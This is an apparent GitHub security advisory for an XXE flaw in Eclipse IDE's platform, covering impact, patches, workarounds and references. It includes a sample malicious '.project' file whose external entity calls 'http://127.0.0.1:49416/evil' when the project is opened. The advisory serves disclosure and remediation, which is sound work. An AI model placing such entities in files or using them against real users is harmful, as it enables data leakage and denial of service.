GHSA-j24h-xcpc-9jw8: Eclipse IDE XXE in eclipse.platform

Impact

xml files like “.project” are parsed vulnerable against all sorts of XXE attacks. The user just needs to open any evil project or update an open project with a vulnerable file (for example for review a foreign repository or patch).

Vulnerablility was found by static code analysis (SonarLint).

Example .project file:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE price [
<!ENTITY xxe SYSTEM "http://127.0.0.1:49416/evil">]>
<projectDescription>
    <name>p</name>
    <comment>&xxe;</comment>
</projectDescription>

Patches

Similar patches including junit test that shows the vulnerability have already applied to PDE (see https://github.com/eclipse-pde/eclipse.pde/pull/667). A solution to platform should be the same: just reject parsing any XML that contains any DOCTYPE.

Workarounds

No known workaround. User can only avoid to get/open any foreign files with eclipse. Firewall rules against loss of data (but not against XML bomb).

References

https://cwe.mitre.org/data/definitions/611.html https://rules.sonarsource.com/java/RSPEC-2755 https://gitlab.eclipse.org/security/vulnerability-reports/-/issues/8 (Report for multiple projects affected)